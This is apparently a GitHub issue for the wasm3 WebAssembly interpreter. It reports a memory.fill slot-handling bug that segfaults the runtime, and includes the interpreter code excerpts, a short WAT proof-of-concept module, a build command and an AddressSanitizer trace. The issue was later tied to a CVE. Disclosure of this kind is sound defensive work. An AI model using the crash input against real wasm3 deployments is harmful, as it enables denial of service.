New issue

Jump to bottom

[Segmentation fault] slot index overflow because of slot missing in some bytecode #337

Closed ha1vk opened this issue on Jun 20 · 3 comments

Labels wasm-validation

ha1vk commented on Jun 20 • edited Contributor

```
static M3Result  Compile_Memory_CopyFill  (IM3Compilation o, m3o
pcode_t i_opcode)
{
......
_   (EmitOp  (o, op));
_   (PopType (o, c_m3Type_i32));
_   (EmitSlotNumOfStackTopAndPop (o));
_   (EmitSlotNumOfStackTopAndPop (o));
......
}
```

```
d_m3Op  (MemFill)
{
    u32 size = (u32) _r0;
    u32 byte = slot (u32);
    u64 destination = slot (u32);
    ......
}
```

Need two slot

But

```
static inline M3Result  EmitSlotNumOfStackTopAndPop  (IM3Compilation o)
{
    // no emit if value is in register
    if (IsStackTopInSlot (o))
        EmitSlotOffset (o, GetStackTopSlotNumber (o));
    return Pop (o);
}
```

No emit slot if value is in register

POC is as poc.wasm and the source is here ,use `./wat2wasm --enable-all --no-check poc.wat` to get poc.wasm

```
(module
  (type (;0;) (func))
  (func (;0;) (type 0)
    f32.const 1.1
    f32.ceil

    i32.const 0x13
    i32.const 0x2
    memory.fill
  )
  (memory (;0;) 1)
  (export "_start" (func 0))
  (start 0))
```

```
ASAN:DEADLYSIGNAL
=================================================================
==18012==ERROR: AddressSanitizer: SEGV on unknown address 0x631045ba0400 (pc 0x5582116de925 bp 0x7fffea78dca0 sp 0x7fffea78dc50 T0)
==18012==The signal is caused by a READ memory access.
    #0 0x5582116de924 in op_MemFill /home/sea/Desktop/wasm3/source/m3_exec.h:734
    #1 0x5582116df744 in op_SetRegister_i32 /home/sea/Desktop/wasm3/source/m3_exec.h:941
    #2 0x5582116cd93e in op_f32_Ceil_s /home/sea/Desktop/wasm3/source/m3_exec.h:272
    #3 0x5582116def7b in op_Entry /home/sea/Desktop/wasm3/source/m3_exec.h:808
    #4 0x55821170518e in RunCode /home/sea/Desktop/wasm3/source/m3_exec_defs.h:58
    #5 0x5582117085af in m3_RunStart /home/sea/Desktop/wasm3/source/m3_env.c:570
    #6 0x558211709696 in checkStartFunction /home/sea/Desktop/wasm3/source/m3_env.c:751
    #7 0x55821170b083 in m3_CallArgv /home/sea/Desktop/wasm3/source/m3_env.c:951
    #8 0x5582116a859a in repl_call /home/sea/Desktop/wasm3/platforms/app/main.c:274
    #9 0x5582116ab557 in main /home/sea/Desktop/wasm3/platforms/app/main.c:634
    #10 0x7fc0379adc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
    #11 0x5582116a7229 in _start (/home/sea/Desktop/m3+0x69229)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/sea/Desktop/wasm3/source/m3_exec.h:734 in op_MemFill
==18012==ABORTING
```

poc.wasm.zip

👀 2

vshymanskyy commented on Jun 20 — Member

Thanks for reporting!

vshymanskyy commented on Jul 12 — Member

Looks like related to #344 ?

 **vshymanskyy** added **backlog** **wasm-validation** labels on Aug 28

 **vshymanskyy** closed this as completed on Aug 28

 **vshymanskyy** removed the **backlog** label on Aug 29

jhutchings1 commented on Sep 10

I saw this issue was referenced in CVE-2022-34529. Does this impact any of the developer packages for WASM? cc: **@taladrane**

❤️ 1

Assignees

Assignees

No one assigned

Labels

wasm-validation

Milestone

No milestone

Development

No branches or pull requests

3 participants